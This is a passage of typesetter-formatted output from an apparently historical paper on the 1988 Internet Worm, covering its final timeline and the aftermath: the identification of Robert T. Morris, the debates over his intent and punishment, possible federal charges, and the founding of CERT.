2720(and)S
2904(con\256rmed)S
3349(it)S
3445(with)S
3663(at)S
3775(least)S
3998(two)S
4188(independent)S
4716(sources.)S
3360 V
1260(The)S
1451(next)S
1659(morning's)S
2106(paper)S
2363(will)S
2556(identify)S
2904(the)S
3063(author)S
3355(as)S
3475(Robert)S
3784(T.)S
3907(Morris,)S
4241(son)S
4417(of)S
4537(the)S
4696(National)S
3480 V
1260(Computer)S
1690(Security)S
2053(Center's)S
2421(chief)S
2650(scientist,)S
3033(Robert)S
3335(Morris.[18])S
3780 V
10 B
720(November)S
1193(5,)S
1298(1988)S
3960 V
10 R
720(0147)S
1260(Mailing)S
1621(is)S
1732(made)S
1992(to)S
10 I
2114(phage)S
10 R
2402(mailing)S
2752(list)S
2919(by)S
3063(Erik)S
3279(Fair)S
3484(of)S
3612(Apple)S
3901(claiming)S
4296(he)S
4435(had)S
4624(heard)S
4890(that)S
4080 V
1260(Robert)S
1568(Morse)S
1859(\(sic\))S
2072(was)S
2263(the)S
2421(author)S
2712(of)S
2831(the)S
2989(Worm)S
3280(and)S
3459(that)S
3644(its)S
3774(release)S
4085(was)S
4275(an)S
4404(accident.)S
4796(\(mail\))S
4200 V
1260(This)S
1478(news)S
1723(was)S
1918(relayed)S
2251(though)S
2569(various)S
2903(mail)S
3121(messages)S
3538(and)S
3723(appears)S
4068(to)S
4187(have)S
4416(originated)S
4862(with)S
4320 V
1260(John)S
1479(Markho)S
1795 H
	(f)show 10 -.5 mul h (f)show
10 R
1856(.)S
4440 V
720(1632)S
1260(Andy)S
1534(Sudduth)S
1920(acknowledges)S
2538(authorship)S
3013(of)S
3149(anonymous)S
3663(warning)S
4043(to)S
4174(TCP-IP)S
4533(mailing)S
4892(list.)S
4560 V
1260(\(mail\))S
4776 V
970(By)S
1128(Tuesday,)S
1532(November)S
1994(8,)S
2110(most)S
2346(machines)S
2765(had)S
2951(connected)S
3397(back)S
3627(to)S
3747(the)S
3911(Internet)S
4263(and)S
4449(tra)S
4554 H
	(f)show 10 -.5 mul h (\256)show
10 R
4638(c)S
4724(patterns)S
4896 V
720(had)S
901(returned)S
1270(to)S
1385(near)S
1592(normal.)S
1966(That)S
2185(morning,)S
2585(about)S
2843(50)S
2979(people)S
3281(from)S
3511(around)S
3824(the)S
3982(country)S
4323(met)S
4509(with)S
4723(o)S
4773 H
	(f)show 10 -.5 mul h (\256)show
10 R
4857(cials)S
5016 V
720(of)S
847(the)S
1013(National)S
1401(Computer)S
1846(Security)S
2224(Center)S
2535(at)S
2652(a)S
2741(hastily)S
3053(convened)S
3480(``post-mortem'')S
4168(on)S
4313(the)S
4480(Worm.)S
4835(They)S
5136 V
720(identify)S
1061(some)S
1302(likely)S
1560(future)S
1828(courses)S
2157(of)S
2270(action.)S
2569([1])S
5292 V
970(Network)S
1353(tra)S
1458 H
	(f)show 10 -.5 mul h (\256)show
10 R
1542(c)S
1620(analyzers)S
2030(continued)S
2458(to)S
2570(record)S
2858(infection)S
3248(attempts)S
3622(from)S
3851(\(apparently\))S
4373(Worm)S
4663(programs)S
5412 V
720(still)S
901(running)S
1242(on)S
1372(Internet)S
1712(machines.)S
2174(The)S
2359(last)S
2528(such)S
2741(instance)S
3098(occurred)S
3476(in)S
3584(the)S
3736(early)S
3965(part)S
4150(of)S
4263(December.)S
5362 V
7 R
4697(*)S
5652 V
10 B
720(5.)S
855(Aftermath)S
5808 V
10 R
970(In)S
1087(the)S
1243(weeks)S
1526(and)S
1704(months)S
2033(following)S
2456(the)S
2612(release)S
2923(of)S
3041(the)S
3198(Internet)S
3543(Worm,)S
3858(there)S
4092(have)S
4315(been)S
4538(a)S
4617(few)S
4801(topics)S
5928 V
720(hotly)S
960(debated)S
1304(in)S
1416(mailing)S
1756(lists,)S
1977(media)S
2255(coverage,)S
2673(and)S
2850(personal)S
3221(conversations.)S
3858(I)S
3924(view)S
4151(a)S
4228(few)S
4410(of)S
4526(these)S
4764(as)S
4880(par-)S
6048 V
720(ticularly)S
1083(signi\256cant,)S
1555(and)S
1729(will)S
1915(present)S
2233(them)S
2463(here.)S
6288 V
10 B
720(5.1.)S
930(Author,)S
1296(Intent,)S
1612(and)S
1804(Punishment)S
6444 V
10 R
970(Two)S
1183(of)S
1296(the)S
1448(\256rst)S
1634(questions)S
2042(to)S
2151(be)S
2276(asked\320even)S
2822(before)S
3107(the)S
3260(Worm)S
3546(was)S
3732(stopped\320were)S
4367(simply)S
4671(the)S
4824(ques-)S
6564 V
720(tions)S
951("Who?")S
1307(and)S
1487("Why?".)S
1898(Who)S
2128(had)S
2308(written)S
2627(the)S
2785(Worm,)S
3101(and)S
3281(why)S
3489(had)S
3669(he/she/they)S
4160(loosed)S
4457(it)S
4549(in)S
4662(the)S
4819(Inter-)S
6684 V
720(net?)S
964(The)S
1167(question)S
1554(of)S
1685("Who?")S
2053(was)S
2256(answered)S
2680(shortly)S
3006(thereafter)S
3436(when)S
3701(the)S
3872(New)S
4109(York)S
4363(Times)S
4662(identi\256ed)S
6804 V
720(Robert)S
1032(T.)S
1158(Morris.)S
1525(Although)S
1943(he)S
2077(has)S
2250(not)S
2418(publicly)S
2786(admitted)S
3176(authorship,)S
3663(and)S
3847(no)S
3987(court)S
4232(of)S
4355(law)S
4539(has)S
4712(yet)S
4874(pro-)S
6924 V
720(nounced)S
1101(guilt,)S
1353(there)S
1595(seems)S
1882(to)S
2003(be)S
2140(a)S
2227(large)S
2469(body)S
2712(of)S
2838(evidence)S
3236(to)S
3358(support)S
3702(such)S
3929(an)S
4067(identi\256cation.)S
4724(Various)S
7024 V
8 Y1
720(333333333333333333)S
7142 V
8 R
820(*)S
900(Private)S
1149(communication,)S
1688(NCSC)S
1923(sta)S
2011 H
	(f)show 8 -.5 mul h (f)show
8 R
2084(member.)S
7920 V
EP
%%Page: 14 15
BP
/slant 0 def
/height 1.000000 def
8 R
8 R
480 V
10 R
2767(- 14 -)S
840 V
720(Federal)S
1050(o)S
1100 H
	(f)show 10 -.5 mul h (\256)show
10 R
1184(cials)S
790 V
7 R
1367(\262)S
840 V
10 R
1434(have)S
1654(told)S
1842(me)S
1996(that)S
2178(they)S
2382(have)S
2602(obtained)S
2978(statements)S
3432(from)S
3658(multiple)S
4024(individuals)S
4501(to)S
4611(whom)S
4893(Mr.)S
960 V
720(Morris)S
1043(spoke)S
1327(about)S
1600(the)S
1773(Worm)S
2079(and)S
2274(its)S
2420(development.)S
3042(They)S
3298(also)S
3510(claim)S
3783(to)S
3912(have)S
4151(records)S
4495(from)S
4740(Cornell)S
1080 V
720(University)S
1181(computers)S
1636(showing)S
2014(early)S
2253(versions)S
2626(of)S
2749(the)S
2911(Worm)S
3206(code)S
3434(being)S
3696(tested)S
3969(on)S
4109(campus)S
4454(machines,)S
4896(and)S
1200 V
720(they)S
945(claim)S
1220(to)S
1350(have)S
1590(copies)S
1897(of)S
2032(the)S
2206(Worm)S
2513(code,)S
2778(found)S
3063(in)S
3193(Mr.)S
3392(Morris's)S
3788(account.)S
4175(The)S
4382(report)S
4672(from)S
4918(the)S
1320 V
720(Provost's)S
1134(o)S
1184 H
	(f)show 10 -.5 mul h (\256)show
10 R
1268(ce)S
1392(at)S
1500(Cornell)S
1836([11])S
2038(also)S
2235(names)S
2526(Robert)S
2834(T.)S
2956(Morris)S
3264(as)S
3383(the)S
3541(culprit,)S
3863(and)S
4043(presents)S
4406(convincing)S
4886(rea-)S
1440 V
720(sons)S
928(for)S
1074(that)S
1254(conclusion.)S
1596 V
970(Thus,)S
1231(the)S
1389(identity)S
1731(of)S
1851(the)S
2010(author)S
2302(appears)S
2643(well)S
2852(established,)S
3358(but)S
3523(his)S
3677(motive)S
3992(remains)S
4345(a)S
4426(mystery.)S
4840(Con-)S
1716 V
720(jectures)S
1068(have)S
1294(ranged)S
1603(from)S
1834(an)S
1965(experiment)S
2451(gone)S
2682(awry)S
2918(to)S
3033(a)S
3114(subconscious)S
3684(act)S
3837(of)S
3957(revenge)S
4309(against)S
4629(his)S
4783(father.)S
1836 V
720(All)S
881(of)S
997(this)S
1175(is)S
1275(sheer)S
1519(speculation,)S
2033(however,)S
2435(since)S
2674(no)S
2808(statement)S
3225(has)S
3392(been)S
3614(forthcoming)S
4142(from)S
4370(Mr.)S
4551(Morris.)S
4912(All)S
1956 V
720(we)S
872(have)S
1096(to)S
1210(work)S
1451(with)S
1665(is)S
1768(the)S
1926(decompiled)S
2427(code)S
2650(for)S
2801(the)S
2958(program)S
3331(and)S
3510(our)S
3678(understanding)S
4279(of)S
4397(its)S
4527(e)S
4571 H
	(f)show 10 -.5 mul h (f)show
10 R
4632(ects.)S
4877(It)S
4973(is)S
2076 V
720(impossible)S
1190(to)S
1304(intuit)S
1552(the)S
1710(real)S
1895(motive)S
2209(from)S
2439(those)S
2686(or)S
2805(from)S
3035(various)S
3365(individuals')S
3879(experiences)S
4386(with)S
4601(the)S
4760(author.)S
2196 V
720(We)S
901(must)S
1139(await)S
1397(a)S
1483(de\256nitive)S
1903(statement)S
2328(by)S
2470(the)S
2634(author)S
2931(to)S
3051(answer)S
3375(the)S
3539(question)S
3920(``Why?''.)S
4387(Considering)S
4918(the)S
2316 V
720(potential)S
1100(legal)S
1324(consequences,)S
1927(both)S
2135(criminal)S
2498(and)S
2672(civil,)S
2905(a)S
2979(de\256nitive)S
3387(statement)S
3800(from)S
4024(Mr.)S
4201(Morris)S
4503(may)S
4705(be)S
4829(some)S
2436 V
720(time)S
928(in)S
1036(coming,)S
1391(if)S
1482(it)S
1568(ever)S
1769(does.)S
2592 V
970(Two)S
1193(things)S
1478(have)S
1706(been)S
1934(noted)S
2196(by)S
2336(many)S
2598(people)S
2904(who)S
3116(have)S
3344(read)S
3555(the)S
3717(decompiled)S
4224(code,)S
4478(however)S
4862(\(this)S
2712 V
720(author)S
1009(included\).)S
1475(First,)S
1718(the)S
1874(Worm)S
2163(program)S
2535(contained)S
2957(no)S
3090(code)S
3311(that)S
3494(would)S
3777(explicitly)S
4188(cause)S
4442(damage)S
4785(to)S
4896(any)S
2832 V
720(system)S
1040(on)S
1182(which)S
1468(it)S
1566(ran.)S
1790(Considering)S
2321(the)S
2485(ability)S
2783(and)S
2969(knowledge)S
3449(evidenced)S
3896(by)S
4039(the)S
4204(code,)S
4460(it)S
4559(would)S
4852(have)S
2952 V
720(been)S
947(a)S
1030(simple)S
1336(matter)S
1629(for)S
1783(the)S
1943(author)S
2236(to)S
2352(have)S
2578(included)S
2960(such)S
3181(commands)S
3652(if)S
3751(that)S
3939(was)S
4132(his)S
4287(intent.)S
4608(Unless)S
4918(the)S
3072 V
720(Worm)S
1016(was)S
1213(released)S
1581(prematurely,)S
2130(it)S
2228(appears)S
2574(that)S
2766(the)S
2930(author's)S
3299(intent)S
3569(did)S
3739(not)S
3909(involve)S
4251(explicit,)S
4618(immediate)S
3192 V
720(destruction)S
1194(or)S
1307(damage)S
1647(of)S
1760(any)S
1934(data)S
2130(or)S
2243(systems.)S
3348 V
970(The)S
1163(second)S
1478(feature)S
1792(of)S
1913(note)S
2124(was)S
2318(that)S
2507(the)S
2668(code)S
2895(had)S
3078(no)S
3217(mechanism)S
3711(to)S
3828(halt)S
4017(the)S
4178(spread)S
4477(of)S
4599(the)S
4760(Worm.)S
3468 V
720(Once)S
969(started,)S
1299(the)S
1460(Worm)S
1754(would)S
2043(propagate)S
2475(while)S
2736(also)S
2936(taking)S
3225(steps)S
3464(to)S
3581(avoid)S
3842(identi\256cation)S
4408(and)S
4590(``capture.'')S
3588 V
720(Due)S
928(to)S
1048(this)S
1235(and)S
1421(the)S
1585(complex)S
1972(argument)S
2392(string)S
2663(necessary)S
3093(to)S
3214(start)S
3429(it,)S
3553(individuals)S
4041(who)S
4256(have)S
4487(examined)S
4918(the)S
3708 V
720(code)S
941(\(this)S
1152(author)S
1440(included\))S
1850(believe)S
2171(it)S
2260(unlikely)S
2621(that)S
2804(the)S
2959(Worm)S
3247(was)S
3435(started)S
3734(by)S
3867(accident)S
4232(or)S
4348(was)S
4536(intended)S
4912(not)S
3828 V
720(to)S
828(propagate)S
1251(widely.)S
3984 V
970(In)S
1090(light)S
1311(of)S
1431(our)S
1601(lack)S
1804(of)S
1924(de\256nitive)S
2339(information,)S
2874(it)S
2968(is)S
3073(puzzling)S
3455(to)S
3571(note)S
3781(attempts)S
4158(to)S
4274(defend)S
4583(Mr.)S
4768(Morris)S
4104 V
720(by)S
856(claiming)S
1242(that)S
1428(his)S
1581(intent)S
1844(was)S
2034(to)S
2147(demonstrate)S
2670(something)S
3122(about)S
3379(Internet)S
3724(security,)S
4100(or)S
4218(that)S
4403(he)S
4532(was)S
4722(trying)S
4996(a)S
4224 V
720(harmless)S
1108(experiment.)S
1645(Even)S
1883(the)S
2038(current)S
2353(president)S
2752(of)S
2868(the)S
3023(ACM)S
3284(implied)S
3624(that)S
3808(it)S
3898(was)S
4087(just)S
4266(a)S
4344(``prank'')S
4737(in)S
4849([17].)S
4344 V
720(It)S
819(is)S
924(curious)S
1256(that)S
1444(this)S
1627(many)S
1887(people,)S
2216(journalists)S
2670(and)S
2851(computer)S
3265(professionals)S
3829(alike,)S
4085(would)S
4372(assume)S
4703(to)S
4818(know)S
4464 V
720(the)S
872(intent)S
1130(of)S
1243(the)S
1395(author)S
1680(based)S
1938(on)S
2069(the)S
2222(observed)S
2613(behavior)S
2993(of)S
3107(the)S
3260(program.)S
3684(As)S
3826(Rick)S
4046(Adams)S
4360(of)S
4474(the)S
4627(Center)S
4924(for)S
4584 V
720(Seismic)S
1074(Studies)S
1406(observed)S
1803(in)S
1918(a)S
1999(posting)S
2330(to)S
2444(the)S
2602(Usenet,)S
2940(we)S
3092(may)S
3300(someday)S
3691(hear)S
3898(that)S
4084(the)S
4242(Worm)S
4533(was)S
4724(actually)S
4704 V
720(written)S
1033(to)S
1141(impress)S
1482(Jodie)S
1723(Foster\320we)S
2219(simply)S
2522(do)S
2652(not)S
2810(know)S
3062(the)S
3214(real)S
3393(reason.)S
4860 V
970(The)S
1160(Provost's)S
1573(report)S
1846(from)S
2075(Cornell,)S
2435(however,)S
2838(does)S
3056(not)S
3219(attempt)S
3555(to)S
3669(excuse)S
3976(Mr.)S
4159(Morris's)S
4539(behavior.)S
4979(It)S
4980 V
720(quite)S
966(clearly)S
1283(labels)S
1562(the)S
1730(actions)S
2059(as)S
2188(unethical)S
2600(and)S
2790(contrary)S
3168(to)S
3292(the)S
3460(standards)S
3882(of)S
4010(the)S
4177(computer)S
4599(profession.)S
5100 V
720(They)S
970(very)S
1192(clearly)S
1508(state)S
1736(that)S
1931(his)S
2093(actions)S
2421(were)S
2659(against)S
2988(university)S
3434(policy)S
3730(and)S
3920(accepted)S
4314(practice,)S
4700(and)S
4890(that)S
5220 V
720(based)S
977(on)S
1107(his)S
1254(past)S
1445(experience)S
1906(he)S
2030(should)S
2327(have)S
2545(known)S
2847(it)S
2933(was)S
3118(wrong)S
3403(to)S
3511(act)S
3657(as)S
3770(he)S
3894(did.)S
5376 V
970(Coupled)S
1346(with)S
1561(the)S
1720(tendency)S
2117(to)S
2232(assume)S
2564(motive,)S
2905(we)S
3059(have)S
3285(observed)S
3683(di)S
3761 H
	(f)show 10 -.5 mul h (f)show
10 R
3822(erent)S
4059(opinions)S
4442(on)S
4580(the)S
4740(punish-)S
5496 V
720(ment,)S
983(if)S
1082(any,)S
1288(to)S
1403(mete)S
1634(out)S
1799(to)S
1914(the)S
2073(author.)S
2420(One)S
2623(oft-expressed)S
3197(opinion,)S
3565(especially)S
4001(by)S
4138(those)S
4386(individuals)S
4868(who)S
5616 V
720(believe)S
1040(the)S
1194(Worm)S
1481(release)S
1789(to)S
1899(be)S
2025(an)S
2151(accident)S
2516(or)S
2632(an)S
2759(unfortunate)S
3252(experiment,)S
3759(is)S
3859(that)S
4042(the)S
4197(author)S
4485(should)S
4785(not)S
4946(be)S
5736 V
720(punished.)S
1182(Some)S
1456(have)S
1690(gone)S
1930(so)S
2065(far)S
2221(as)S
2350(to)S
2473(say)S
2651(that)S
2846(the)S
3013(author)S
3313(should)S
3625(be)S
3764(rewarded)S
4179(and)S
4368(the)S
4535(vendors)S
4896(and)S
5856 V
720(operators)S
1126(of)S
1244(the)S
1401(a)S
1445 H
	(f)show 10 -.5 mul h (f)show
10 R
1506(ected)S
1751(machines)S
2163(should)S
2465(be)S
2594(the)S
2751(ones)S
2969(punished,)S
3390(this)S
3570(on)S
3705(the)S
3862(theory)S
4152(that)S
4337(they)S
4544(were)S
4773(sloppy)S
5976 V
720(about)S
978(their)S
1197(security)S
1548(and)S
1727(somehow)S
2145(invited)S
2458(the)S
2615(abuse!)S
2940(The)S
3130(other)S
3370(extreme)S
3726(school)S
4022(of)S
4140(thought)S
4481(holds)S
4733(that)S
4918(the)S
6096 V
720(author)S
1015(should)S
1322(be)S
1456(severely)S
1828(punished,)S
2254(including)S
2672(at)S
2784(least)S
3007(a)S
3091(term)S
3314(in)S
3432(a)S
3516(Federal)S
3855(penitentiary.)S
4428(One)S
4635(somewhat)S
6216 V
720(humorous)S
1150(example)S
1518(of)S
1631(this)S
1806(was)S
1991(espoused)S
2387(by)S
2517(Mike)S
2758(Royko)S
3055([23].)S
6372 V
970(The)S
1166(Cornell)S
1507(commission)S
2032(recommended)S
2638(some)S
2891(punishment,)S
3425(but)S
3595(not)S
3765(punishment)S
4274(so)S
4405(severe)S
4701(that)S
4893(Mr.)S
6492 V
720(Morris's)S
1102(future)S
1378(career)S
1658(in)S
1774(computing)S
2240(would)S
2528(be)S
2660(jepordized.)S
3173(Consistent)S
3633(with)S
3848(that)S
4035(recommendation,)S
4768(Robert)S
6612 V
720(has)S
888(been)S
1111(suspended)S
1562(from)S
1791(the)S
1948(University)S
2405(for)S
2556(a)S
2635(minimum)S
3060(of)S
3178(one)S
3357(year;)S
3591(the)S
3748(faculty)S
4060(of)S
4178(the)S
4335(computer)S
4747(science)S
6732 V
720(department)S
1199(there)S
1428(will)S
1614(have)S
1832(to)S
1940(approve)S
2291(readmission)S
2804(should)S
3101(he)S
3225(apply)S
3477(for)S
3623(it.)S
6962 V
8 Y1
720(333333333333333333)S
7080 V
8 R
820(\262)S
900(Personal)S
1198(conversations,)S
1679(anonymous)S
2071(by)S
2175(request.)S
7920 V
EP
%%Page: 15 16
BP
/slant 0 def
/height 1.000000 def
8 R
8 R
480 V
10 R
2767(- 15 -)S
840 V
970(As)S
1111(has)S
1274(been)S
1492(observed)S
1882(in)S
1990(both)S
2198([16])S
2395( and)S
2600([8],)S
2772(it)S
2859(would)S
3140(not)S
3299(serve)S
3540(us)S
3660(well)S
3863(to)S
3972(overreact)S
4373(to)S
4482(this)S
4658(particular)S
960 V
720(incident;)S
1111(less)S
1302(than)S
1515(5%)S
1689(of)S
1813(the)S
1976(machines)S
2394(on)S
2535(an)S
2670(insecure)S
3043(network)S
3411(were)S
3645(a)S
3689 H
	(f)show 10 -.5 mul h (f)show
10 R
3750(ected)S
4001(for)S
4157(less)S
4347(than)S
4559(a)S
4643(few)S
4832(days.)S
1080 V
720(However,)S
1142(neither)S
1451(should)S
1750(we)S
1898(dismiss)S
2231(it)S
2319(as)S
2435(something)S
2885(of)S
3001(no)S
3134(consequence.)S
3761(That)S
3977(no)S
4110(damage)S
4453(was)S
4641(done)S
4868(may)S
1200 V
720(possibly)S
1096(have)S
1326(been)S
1556(an)S
1692(accident,)S
2091(and)S
2277(it)S
2375(is)S
2483(possible)S
2852(that)S
3043(the)S
3206(author)S
3502(intended)S
3887(for)S
4044(the)S
4207(program)S
4586(to)S
4705(clog)S
4918(the)S
1320 V
720(Internet)S
1067(as)S
1187(it)S
1280(did)S
1445(\(comments)S
1926(in)S
2041(his)S
2195(code,)S
2445(as)S
2565(reported)S
2935(in)S
3051(the)S
3211(Cornell)S
3549(report,)S
3850(suggested)S
4282(even)S
4508(more)S
4751(sinister)S
1440 V
720(possibilities\).)S
1323(Furthermore,)S
1882(we)S
2033(should)S
2335(be)S
2464(careful)S
2775(of)S
2893(setting)S
3195(a)S
3274(dangerous)S
3719(precedent)S
4141(for)S
4292(future)S
4565(occurrences)S
1560 V
720(of)S
837(such)S
1054(behavior.)S
1492(Excusing)S
1898(acts)S
2087(of)S
2204(computer)S
2615(vandalism)S
3060(simply)S
3367(because)S
3716(their)S
3933(authors)S
4261(claim)S
4517(there)S
4750(was)S
4940(no)S
1680 V
720(intent)S
978(to)S
1086(cause)S
1337(damage)S
1677(will)S
1863(do)S
1993(little)S
2207(to)S
2315(discourage)S
2777(repeat)S
3050(o)S
3100 H
	(f)show 10 -.5 mul h (f)show
10 R
3161(enses,)S
3432(and)S
3606(may)S
3808(encourage)S
4247(new)S
4443(incidents.)S
1836 V
970(The)S
1177(claim)S
1451(that)S
1653(the)S
1828(victims)S
2176(of)S
2312(the)S
2487(Worm)S
2795(were)S
3041(somehow)S
3477(responsible)S
3985(for)S
4154(the)S
4329(invasion)S
4721(of)S
4857(their)S
1956 V
720(machines)S
1132(is)S
1234(also)S
1430(curious.)S
1814(The)S
2004(individuals)S
2484(making)S
2819(this)S
2999(claim)S
3256(seem)S
3496(to)S
3609(be)S
3738(stating)S
4040(that)S
4225(there)S
4459(is)S
4561(some)S
4807(moral)S
2076 V
720(or)S
840(legal)S
1071(obligation)S
1514(for)S
1667(computer)S
2081(users)S
2323(to)S
2438(track)S
2674(and)S
2855(install)S
3137(every)S
3395(conceivable)S
3908(security)S
4261(\256x)S
4404(and)S
4585(mechanism)S
2196 V
720(available.)S
1171(This)S
1385(totally)S
1677(ignores)S
2007(the)S
2165(many)S
2422(sites)S
2635(that)S
2820(run)S
2988(turn-key)S
3361(systems)S
3713(without)S
4054(source)S
4349(code)S
4572(or)S
4690(adminis-)S
2316 V
720(trators)S
1024(knowledgeable)S
1677(enough)S
2020(to)S
2147(modify)S
2485(their)S
2717(systems.)S
3138(Those)S
3431(sites)S
3659(may)S
3881(also)S
4092(be)S
4236(running)S
4597(specialized)S
2436 V
720(software)S
1097(or)S
1214(have)S
1436(restricted)S
1841(budgets)S
2186(that)S
2370(prevent)S
2703(them)S
2937(from)S
3165(installing)S
3572(new)S
3772(software)S
4148(versions.)S
4569(Many)S
4835(com-)S
2556 V
720(mercial)S
1056(and)S
1237(government)S
1751(sites)S
1966(operate)S
2296(their)S
2516(systems)S
2871(this)S
3054(way.)S
3313(To)S
3462(attempt)S
3800(to)S
3916(blame)S
4198(these)S
4441(individuals)S
4924(for)S
2676 V
720(the)S
874(success)S
1205(of)S
1320(the)S
1474(Worm)S
1760(is)S
1858(equivalent)S
2305(to)S
2414(blaming)S
2773(an)S
2898(arson)S
3145(victim)S
3432(for)S
3579(the)S
3732(\256re)S
3896(because)S
4242(she)S
4406(didn't)S
4676(build)S
4913(her)S
2796 V
720(house)S
983(of)S
1096(\256reproof)S
1475(metal.)S
1782(\(More)S
2061(on)S
2191(this)S
2366(theme)S
2640(can)S
2808(be)S
2932(found)S
3195(in)S
3303([27].\))S
2952 V
970(The)S
1163(matter)S
1456(of)S
1577(appropriate)S
2069(punishment)S
2574(will)S
2768(likely)S
3034(be)S
3166(decided)S
3514(by)S
3652(a)S
3734(Federal)S
4071(judge.)S
4386(A)S
4496(grand)S
4762(jury)S
4962(in)S
3072 V
720(Syracuse,)S
1144(NY)S
1327(has)S
1499(been)S
1726(hearing)S
2064(testimony)S
2498(on)S
2637(the)S
2798(matter.)S
3147(A)S
3258(Federal)S
3596(indictment)S
4063(under)S
4329(the)S
4490(United)S
4801(States)S
3192 V
720(Code,)S
986(Title)S
1205(18)S
1335(\247)S
1415(1030)S
1645(\(the)S
1830(Computer)S
2260(Fraud)S
2523(and)S
2697(Abuse)S
2982(statute\),)S
3331(parts)S
3555(\(a\)\(3\))S
3811(or)S
3925(\(a\)\(5\))S
4182(might)S
4447(be)S
4572(returned.)S
4990(\247)S
3312 V
720(\(a\)\(5\),)S
1008(in)S
1123(particular,)S
1567(is)S
1671(of)S
1791(interest.)S
2177(That)S
2397(part)S
2588(of)S
2707(the)S
2865(statute)S
3162(makes)S
3453(it)S
3545(a)S
3625(felony)S
3916(if)S
4013(an)S
4143(individual)S
4585(``intention-)S
3432 V
720(ally)S
901(accesses)S
1269(a)S
1344(Federal)S
1674(interest)S
1999(computer)S
2407(without)S
2744(authorization,)S
3327(and)S
3502(by)S
3633(means)S
3919(of)S
4033(one)S
4208(or)S
4322(more)S
4559(instances)S
4957(of)S
3552 V
720(such)S
944(conduct)S
1301(alters,)S
1583(damages,)S
1998(or)S
2122(destroys)S
2496(information)S
3009(...,)S
10 I
3150(or)S
3280(prevents)S
3659(authorized)S
4128(use)S
10 R
4302(of)S
4426(any)S
4611(such)S
4835(com-)S
3672 V
720(puter)S
968(or)S
1094(information)S
1609(and)S
1796(thereby)S
10 I
2138(causes)S
2447(loss)S
2646(to)S
2767(one)S
2954(or)S
3086(more)S
3334(others)S
3627(of)S
3748(a)S
3841(value)S
4100(aggregating)S
4632($1,000)S
4951(or)S
3792 V
720(more)S
10 R
962(during)S
1260(any)S
1441(one)S
1622(year)S
1830(period;'')S
2216(\(emphasis)S
2658(mine\).)S
2982(The)S
3173(penalty)S
3503(if)S
3600(convicted)S
4024(under)S
4287(section)S
4606(\(a\)\(5\))S
4868(may)S
3912 V
720(include)S
1044(a)S
1118(\256ne)S
1298(and)S
1472(a)S
1546(\256ve)S
1726(year)S
1927(prison)S
2207(term.)S
2475(State)S
2705(and)S
2879(civil)S
3087(suits)S
3301(might)S
3565(also)S
3756(be)S
3880(brought)S
4221(in)S
4329(this)S
4504(case.)S
4152 V
10 B
720(5.2.)S
930(Worm)S
1237(Hunters)S
4308 V
10 R
970(A)S
1090(signi\256cant)S
1555(conclusions)S
2075(reached)S
2432(at)S
2552(the)S
2722(NCSC)S
3032(post-mortem)S
3592(workshop)S
4035(was)S
4239(that)S
4438(the)S
4609(reason)S
4918(the)S
4428 V
720(Worm)S
1006(was)S
1192(stopped)S
1534(so)S
1654(quickly)S
1985(was)S
2171(due)S
2346(almost)S
2644(solely)S
2914(to)S
3023(the)S
3176(U)S
8 R
3248(NIX)S
10 R
3421(``old-boy'')S
3895(network,)S
4278(and)S
4453(not)S
4612(because)S
4957(of)S
4548 V
720(any)S
895(formal)S
1192(mechanism)S
1678(in)S
1787(place)S
2028(at)S
2131(the)S
2284(time.)S
2518([1])S
2665(A)S
2768(general)S
3092(recommendation)S
3794(from)S
4019(that)S
4201(workshop)S
4627(was)S
4814(that)S
4996(a)S
4668 V
720(formal)S
1023(crisis)S
1271(center)S
1551(be)S
1682(established)S
2163(to)S
2278(deal)S
2481(with)S
2696(future)S
2971(incidents)S
3369(and)S
3550(to)S
3665(provide)S
4007(a)S
4088(formal)S
4391(point)S
4633(of)S
4752(contact)S
4788 V
720(for)S
866(individuals)S
1341(wishing)S
1688(to)S
1796(report)S
2064(problems.)S
2521(No)S
2673(such)S
2886(center)S
3159(was)S
3344(established)S
3818(at)S
3920(that)S
4100(time.)S
4944 V
970(On)S
1138(November)S
1605(29,)S
1776(someone)S
2177(exploiting)S
2629(a)S
2719(security)S
3082(\257aw)S
3301(present)S
3636(in)S
3761(older)S
4013(versions)S
4393(of)S
4523(the)S
4692(FTP)S
4912(\256le)S
5064 V
720(transfer)S
1070(program)S
1454(broke)S
1727(into)S
1929(a)S
2019(machine)S
2403(on)S
2549(the)S
2717(MILnet.)S
3123(The)S
3324(intruder)S
3686(was)S
3887(traced)S
4176(to)S
4300(a)S
4390(machine)S
4773(on)S
4918(the)S
5184 V
720(Arpanet,)S
1104(and)S
1286(to)S
1402(prevent)S
1739(further)S
2048(access)S
2340(the)S
2500(MILnet/Arpanet)S
3193(links)S
3427(were)S
3659(immediately)S
4198(severed.)S
4596(During)S
4918(the)S
5304 V
720(next)S
927(48)S
1062(hours)S
1319(there)S
1553(was)S
1743(considerable)S
2282(confusion)S
2711(and)S
2890(rumor)S
3169(about)S
3426(the)S
3583(disconnection,)S
4198(fueled)S
4482(in)S
4595(part)S
4784(by)S
4918(the)S
5424 V
720(Defense)S
1077(Communication)S
1754(Agency's)S
2168(attempt)S
2500(to)S
2610(explain)S
2936(the)S
3090(disconnection)S
3677(as)S
3792(a)S
3868(``test'')S
4171(rather)S
4435(than)S
4639(as)S
4754(a)S
4830(secu-)S
5544 V
720(rity)S
889(problem.)S
5700 V
970(This)S
1193(event,)S
1479(coming)S
1824(as)S
1952(close)S
2202(as)S
2330(it)S
2431(did)S
2604(to)S
2727(the)S
2894(Worm)S
3194(incident,)S
3586(prompted)S
4014(DARPA)S
4398(to)S
4522(establish)S
4918(the)S
5820 V
720(CERT\320the)S
1243(Computer)S
1688(Emergency)S
2187(Response)S
2614(Team\320at)S
3057(the)S
3223(Software)S
3627(Engineering)S
4159(Institute)S
4531(at)S
4647(Carnegie-)S
5940 V
720(Mellon)S
1041(University.)S
5890 V
7 R
1488(*)S
5940 V
10 R
1555(The)S
1742(purpose)S
2090(of)S
2205(the)S
2359(CERT)S
2647(is)S
2746(to)S
2856(act)S
3004(as)S
3119(a)S
3195(central)S
3498(switchboard)S
4018(and)S
4194(coordinator)S
4686(for)S
4835(com-)S
6060 V
720(puter)S
958(security)S
1307(emergencies)S
1838(on)S
1971(Arpanet)S
2325(and)S
2501(MILnet)S
2838(computers.)S
3341(The)S
3528(Center)S
3826(has)S
3991(asked)S
4250(for)S
4398(volunteers)S
4846(from)S
6180 V
720(Federal)S
1049(agencies)S
1422(and)S
1596(funded)S
1903(laboratories)S
2404(to)S
2512(serve)S
2752(as)S
2865(technical)S
3255(advisors)S
3618(when)S
3864(needed.[2])S
6336 V
970(Of)S
1110(interest)S
1439(here)S
1645(is)S
1747(that)S
1932(the)S
2089(CERT)S
2380(is)S
2482(not)S
